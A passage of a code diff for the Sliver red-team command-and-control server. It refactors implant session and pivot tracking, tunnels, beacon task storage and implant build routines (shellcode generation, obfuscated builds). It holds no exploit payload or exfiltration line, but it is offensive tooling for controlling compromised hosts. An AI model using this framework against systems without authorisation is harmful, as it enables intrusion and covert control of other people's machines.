Name: session.Name,
Children: make(map[int64]*PivotGraphEntry),
})
}
for _, topLevel := range graph {
coreLog.Debugf("[graph] top level: %v", topLevel)
insertImmediateChildren(topLevel, 1)
}
return graph
}
// Remember that the origin index zero, and we only want this "entry"s immediate children
// the peers list will look something like this, where 2 is the parent of both 3, and 4
// 1
// 2,1
// 3,2,1
// 4,2,1
func insertImmediateChildren(entry *PivotGraphEntry, depth int) {
// Iterate over pivots and insert them into the graph
PivotSessions.Range(func(key, value interface{}) bool {
pivot := value.(*Pivot)
if len(pivot.Peers) != depth+1 {
return true
}
session := Sessions.FromImplantConnection(pivot.ImplantConn)
coreLog.Debugf("[graph] entry: %v, pivot: %v", entry.Name, pivot)
if pivot.Peers[1].PeerID == entry.PeerID {
child := &PivotGraphEntry{
PeerID: pivot.OriginID,
SessionID: session.ID,
Name: session.Name,
Children: make(map[int64]*PivotGraphEntry),
}
coreLog.Debugf("[graph] entry: %v, found child: %v", entry.Name, child.Name)
entry.Insert(child)
}
return true
})
// Recurse over children
for _, child := range entry.Children {
insertImmediateChildren(child, depth+1)
}
}
+52 -58
View File
@@ -27,7 +27,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/log"
"github.com/gofrs/uuid"
consts "github.com/bishopfox/sliver/client/constants"
)
@@ -37,8 +36,10 @@ var (
// Sessions - Manages implant connections
Sessions = &sessions{
sessions: &sync.Map{},
sessions: map[uint32]*Session{},
mutex: &sync.RWMutex{},
}
rollingSessionID = uint32(0)
// ErrUnknownMessageType - Returned if the implant did not understand the message for
// example when the command is not supported on the platform
@@ -50,7 +51,7 @@ var (
// Session - Represents a connection to an implant
type Session struct {
ID string
ID uint32
Name string
Hostname string
Username string
@@ -70,15 +71,12 @@ type Session struct {
Burned bool
Extensions []string
ConfigID string
PeerID int64
}
// LastCheckin - Get the last time a session message was received
func (s *Session) LastCheckin() time.Time {
return s.Connection.LastMessage
}
// IsDead - See if last check-in is within expected variance
func (s *Session) IsDead() bool {
sessionsLog.Debugf("Last checkin was %v", s.Connection.LastMessage)
padding := time.Duration(10 * time.Second) // Arbitrary margin of error
@@ -101,7 +99,7 @@ func (s *Session) IsDead() bool {
// ToProtobuf - Get the protobuf version of the object
func (s *Session) ToProtobuf() *clientpb.Session {
return &clientpb.Session{
ID: s.ID,
ID: uint32(s.ID),
Name: s.Name,
Hostname: s.Hostname,
Username: s.Username,
@@ -121,7 +119,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
ReconnectInterval: s.ReconnectInterval,
ProxyURL: s.ProxyURL,
Burned: s.Burned,
PeerID: s.PeerID,
// ConfigID: s.ConfigID,
}
}
@@ -158,30 +156,33 @@ func (s *Session) Request(msgType uint32, timeout time.Duration, data []byte) ([
// sessions - Manages the slivers, provides atomic access
type sessions struct {
sessions *sync.Map // map[uint32]*Session
mutex *sync.RWMutex
sessions map[uint32]*Session
}
// All - Return a list of all sessions
func (s *sessions) All() []*Session {
s.mutex.RLock()
defer s.mutex.RUnlock()
all := []*Session{}
s.sessions.Range(func(key, value interface{}) bool {
all = append(all, value.(*Session))
return true
})
for _, session := range s.sessions {
all = append(all, session)
}
return all
}
// Get - Get a session by ID
func (s *sessions) Get(sessionID string) *Session {
if val, ok := s.sessions.Load(sessionID); ok {
return val.(*Session)
}
return nil
func (s *sessions) Get(sessionID uint32) *Session {
s.mutex.RLock()
defer s.mutex.RUnlock()
return s.sessions[sessionID]
}
// Add - Add a sliver to the hive (atomically)
func (s *sessions) Add(session *Session) *Session {
s.sessions.Store(session.ID, session)
s.mutex.Lock()
defer s.mutex.Unlock()
s.sessions[session.ID] = session
EventBroker.Publish(Event{
EventType: consts.SessionOpenedEvent,
Session: session,
@@ -190,33 +191,26 @@ func (s *sessions) Add(session *Session) *Session {
}
// Remove - Remove a sliver from the hive (atomically)
func (s *sessions) Remove(sessionID string) {
val, ok := s.sessions.Load(sessionID)
if !ok {
return
}
parentSession := val.(*Session)
children := findAllChildrenByPeerID(parentSession.PeerID)
s.sessions.Delete(parentSession.ID)
coreLog.Debugf("Removing %d children of session %d (%v)", len(children), parentSession.ID, children)
for _, child := range children {
childSession, ok := s.sessions.LoadAndDelete(child.SessionID)
if ok {
EventBroker.Publish(Event{
EventType: consts.SessionClosedEvent,
Session: childSession.(*Session),
})
}
}
func (s *sessions) Remove(sessionID uint32) {
s.mutex.Lock()
defer s.mutex.Unlock()
session := s.sessions[sessionID]
if session != nil {
// Remove the parent session
EventBroker.Publish(Event{
EventType: consts.SessionClosedEvent,
Session: parentSession,
})
// Remove any pivots associated with this session
PivotSessions.Range(func(key, value interface{}) bool {
return true
})
delete(s.sessions, sessionID)
EventBroker.Publish(Event{
EventType: consts.SessionClosedEvent,
Session: session,
})
}
}
// NewSession - Create a new session
func NewSession(implantConn *ImplantConnection) *Session {
implantConn.UpdateLastMessage()
return &Session{
@@ -225,28 +219,28 @@ func NewSession(implantConn *ImplantConnection) *Session {
}
}
// FromImplantConnection - Find the session associated with an implant connection
func (s *sessions) FromImplantConnection(conn *ImplantConnection) *Session {
var found *Session
s.sessions.Range(func(key, value interface{}) bool {
if value.(*Session).Connection.ID == conn.ID {
found = value.(*Session)
return false
func SessionFromImplantConnection(conn *ImplantConnection) *Session {
Sessions.mutex.RLock()
defer Sessions.mutex.RUnlock()
for _, session := range Sessions.sessions {
if session.Connection.ID == conn.ID {
return session
}
return true
})
return found
}
return nil
}
// nextSessionID - Returns an incremental nonce as an id
func nextSessionID() string {
id, _ := uuid.NewV4()
return id.String()
func nextSessionID() uint32 {
newID := rollingSessionID + 1
rollingSessionID++
return newID
}
// UpdateSession - In place update of a session pointer
func (s *sessions) UpdateSession(session *Session) *Session {
s.sessions.Store(session.ID, session)
s.mutex.Lock()
defer s.mutex.Unlock()
s.sessions[session.ID] = session
EventBroker.Publish(Event{
EventType: consts.SessionUpdateEvent,
Session: session,
+2 -2
View File
@@ -35,7 +35,7 @@ var (
type TcpTunnel struct {
ID uint64
SessionID string
SessionID uint32
ToImplantSequence uint64
ToImplantMux sync.Mutex
@@ -49,7 +49,7 @@ type tcpTunnel struct {
mutex *sync.Mutex
}
func (t *tcpTunnel) Create(sessionID string) *TcpTunnel {
func (t *tcpTunnel) Create(sessionID uint32) *TcpTunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &TcpTunnel{
+3 -3
View File
@@ -37,7 +37,7 @@ var (
}
// ErrInvalidTunnelID - Invalid tunnel ID value
ErrInvalidTunnelID = errors.New("invalid tunnel ID")
ErrInvalidTunnelID = errors.New("Invalid tunnel ID")
)
// Tunnel - Essentially just a mapping between a specific client and sliver
@@ -45,7 +45,7 @@ var (
// care what data gets passed back and forth it just facilitates the connection
type Tunnel struct {
ID uint64
SessionID string
SessionID uint32
ToImplant chan []byte
ToImplantSequence uint64
@@ -61,7 +61,7 @@ type tunnels struct {
mutex *sync.Mutex
}
func (t *tunnels) Create(sessionID string) *Tunnel {
func (t *tunnels) Create(sessionID uint32) *Tunnel {
tunnelID := NewTunnelID()
session := Sessions.Get(sessionID)
tunnel := &Tunnel{
+2 -2
View File
@@ -293,7 +293,7 @@ func ListBeacons() ([]*models.Beacon, error) {
return beacons, err
}
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
// PendingBeaconTasksByBeaconID - Select a Beacon by ID
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
tasks := []*models.BeaconTask{}
err := Session().Where(
@@ -301,7 +301,7 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
BeaconID: uuid.FromStringOrNil(beaconID),
State: models.PENDING,
},
).Order("created_at").Find(&tasks).Error
).Find(&tasks).Error
return tasks, err
}
+22 -22
View File
@@ -50,7 +50,6 @@ type Beacon struct {
LastCheckin time.Time
Version string
ReconnectInterval int64
ActiveC2 string
ProxyURL string
ImplantBuildID uuid.UUID `gorm:"type:uuid;"`
@@ -70,27 +69,28 @@ func (b *Beacon) BeforeCreate(tx *gorm.DB) (err error) {
func (b *Beacon) ToProtobuf() *clientpb.Beacon {
return &clientpb.Beacon{
ID: b.ID.String(),
Name: b.Name,
Hostname: b.Hostname,
UUID: b.UUID.String(),
Username: b.Username,
UID: b.UID,
GID: b.GID,
OS: b.OS,
Arch: b.Arch,
Transport: b.Transport,
RemoteAddress: b.RemoteAddress,
PID: b.PID,
Filename: b.Filename,
LastCheckin: b.LastCheckin.Unix(),
Version: b.Version,
ActiveC2: b.ActiveC2,
ProxyURL: b.ProxyURL,
ReconnectInterval: b.ReconnectInterval,
Interval: b.Interval,
Jitter: b.Jitter,
NextCheckin: b.NextCheckin,
ID: b.ID.String(),
Name: b.Name,
Hostname: b.Hostname,
UUID: b.UUID.String(),
Username: b.Username,
UID: b.UID,
GID: b.GID,
OS: b.OS,
Arch: b.Arch,
Transport: b.Transport,
RemoteAddress: b.RemoteAddress,
PID: b.PID,
Filename: b.Filename,
LastCheckin: b.LastCheckin.Unix(),
Version: b.Version,
// ReconnectInterval: b.ReconnectInterval,
ProxyURL: b.ProxyURL,
// PollTimeout: b.PollTimeout,
// ImplantBuildID: b.ImplantBuildID.String(),
Interval: b.Interval,
Jitter: b.Jitter,
NextCheckin: b.NextCheckin,
}
}
+16 -22
View File
@@ -98,6 +98,8 @@ const (
clientsDirName = "clients"
sliversDirName = "slivers"
encryptKeySize = 16
// DefaultReconnectInterval - In seconds
DefaultReconnectInterval = 60
// DefaultMTLSLPort - Default listen port
@@ -252,7 +254,7 @@ func GetSliversDir() string {
// Sliver Generation Code
// -----------------------
// SliverShellcode - Generates a sliver shellcode using Donut
// SliverShellcode - Generates a sliver shellcode using sRDI
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
appDir := assets.GetRootAppDir()
goConfig := &gogo.GoConfig{
@@ -282,16 +284,14 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
ldflags[0] += " -H=windowsgui"
}
// Keep those for potential later use
gcflags := ""
asmflags := ""
gcflags := fmt.Sprintf("")
asmflags := fmt.Sprintf("")
// trimpath is now a separate flag since Go 1.13
trimpath := "-trimpath"
_, err = gogo.GoBuild(*goConfig, pkgPath, dest, "pie", tags, ldflags, gcflags, asmflags, trimpath)
if err != nil {
return "", err
}
config.FileName = path.Base(dest)
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "")
if err != nil {
return "", err
}
@@ -362,14 +362,11 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
ldflags[0] += " -H=windowsgui"
}
// Keep those for potential later use
gcflags := ""
asmflags := ""
gcflags := fmt.Sprintf("")
asmflags := fmt.Sprintf("")
// trimpath is now a separate flag since Go 1.13
trimpath := "-trimpath"
_, err = gogo.GoBuild(*goConfig, pkgPath, dest, "c-shared", tags, ldflags, gcflags, asmflags, trimpath)
if err != nil {
return "", err
}
config.FileName = path.Base(dest)
err = ImplantBuildSave(name, config, dest)
@@ -415,8 +412,8 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
if !config.Debug && goConfig.GOOS == WINDOWS {
ldflags[0] += " -H=windowsgui"
}
gcflags := ""
asmflags := ""
gcflags := fmt.Sprintf("")
asmflags := fmt.Sprintf("")
if config.Debug {
gcflags = "all=-N -l"
ldflags = []string{}
@@ -427,11 +424,10 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
trimpath = "-trimpath"
}
_, err = gogo.GoBuild(*goConfig, pkgPath, dest, "", tags, ldflags, gcflags, asmflags, trimpath)
if err != nil {
return "", err
}
config.FileName = filepath.Base(dest)
config.FileName = path.Base(dest)
err = ImplantBuildSave(name, config, dest)
if err != nil {
buildLog.Errorf("Failed to save build: %s", err)
}
@@ -443,7 +439,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
var err error
target := fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH)
if _, ok := gogo.ValidCompilerTargets(*goConfig)[target]; !ok {
return "", fmt.Errorf("invalid compiler target: %s", target)
return "", fmt.Errorf("Invalid compiler target: %s", target)
}
buildLog.Debugf("Generating new sliver binary '%s'", name)
@@ -499,12 +495,10 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
// Generate wg Keys as needed
if config.WGc2Enabled {
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
if err != nil {
return "", err
}
_, serverPubKey, err := certs.GetWGServerKeys()
if err != nil {
return "", fmt.Errorf("failed to embed implant wg keys: %s", err)
return "", fmt.Errorf("Failed to embed implant wg keys: %s", err)
}
config.WGImplantPrivKey = implantPrivKey
config.WGServerPubKey = serverPubKey
-1
View File
@@ -83,7 +83,6 @@ func TestSliverExecutableWindows(t *testing.T) {
multiExe(t, "windows", "amd64", false, false)
multiExe(t, "windows", "386", false, false)
multiExe(t, "windows", "386", false, false)
// Multiple Beacons
multiExe(t, "windows", "amd64", true, true)
multiExe(t, "windows", "amd64", true, false)
+1 -1
View File
@@ -71,7 +71,7 @@ func getRandomWord(fpath string) (string, error) {
}
wordsLen := len(words)
if wordsLen == 0 {
return "", fmt.Errorf("no words found in %s", fpath)
return "", fmt.Errorf("No words found in %s", fpath)
}
word := words[insecureRand.Intn(wordsLen-1)]
return strings.TrimSpace(word), nil
+2 -2
View File
@@ -43,7 +43,7 @@ var (
storageLog = log.NamedLogger("generate", "storage")
// ErrImplantBuildFileNotFound - More descriptive 'key not found' error
ErrImplantBuildFileNotFound = errors.New("implant build file not found")
ErrImplantBuildFileNotFound = errors.New("Implant build file not found")
)
func getBuildsDir() (string, error) {
@@ -75,7 +75,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
fPath, _ = filepath.Abs(fPath)
if !strings.HasPrefix(fPath, rootAppDir) {
return fmt.Errorf("invalid path '%s' is not a subdirectory of '%s'", fPath, rootAppDir)
return fmt.Errorf("Invalid path '%s' is not a subdirectory of '%s'", fPath, rootAppDir)
}
data, err := ioutil.ReadFile(fPath)
+5 -5
View File
@@ -134,13 +134,13 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
gogoLog.Infof("garble cmd: '%v'", cmd)
err := cmd.Run()
if err != nil {
gogoLog.Debugf("--- env ---\n")
gogoLog.Infof("--- env ---\n")
for _, envVar := range cmd.Env {
gogoLog.Debugf("%s\n", envVar)
gogoLog.Infof("%s\n", envVar)
}
gogoLog.Errorf("--- stdout ---\n%s\n", stdout.String())
gogoLog.Errorf("--- stderr ---\n%s\n", stderr.String())
gogoLog.Error(err)
gogoLog.Infof("--- stdout ---\n%s\n", stdout.String())
gogoLog.Infof("--- stderr ---\n%s\n", stderr.String())
gogoLog.Info(err)
}
return stdout.Bytes(), err
+2 -2
View File
@@ -1,6 +1,6 @@
Handlers
=========
__WARNING:__ Methods in this package can be invoked by an implant without user-interaction (e.g. they're publicly invoke-able)
__WARNING:__ Methods in this package can be invoked by a Sliver without user-interaction (e.g. they're publically invokable)
The `handlers` package contains backend APIs that can be directly invoked by a remote implant without a corresponding protobuf request.
The `handlers` package contains backend APIs that can be directly invoked by a remote `sliver` without a corrisponding protobuf request.
-3
View File
@@ -75,7 +75,6 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.LastCheckin = implantConn.LastMessage
beacon.Version = beaconReg.Register.Version
beacon.ReconnectInterval = beaconReg.Register.ReconnectInterval
beacon.ActiveC2 = beaconReg.Register.ActiveC2
beacon.ProxyURL = beaconReg.Register.ProxyURL
// beacon.ConfigID = uuid.FromStringOrNil(beaconReg.Register.ConfigID)
@@ -123,8 +122,6 @@ func beaconTasksHandler(implantConn *core.ImplantConnection, data []byte) *slive
}
beaconHandlerLog.Infof("Beacon %s requested pending task(s)", beaconTasks.ID)
// Pending tasks are ordered by their creation time.
pendingTasks, err := db.PendingBeaconTasksByBeaconID(beaconTasks.ID)
if err != nil && !errors.Is(err, gorm.ErrRecordNotFound) {
beaconHandlerLog.Errorf("Beacon task database error: %s", err)
-1
View File
@@ -51,7 +51,6 @@ func GetHandlers() map[uint32]ServerHandler {
// Pivots
sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
sliverpb.MsgPivotPeerFailure: pivotPeerFailureHandler,
}
}
Loaded 100 of 119 files, more files were not shown because too many files have changed in this diff. Show more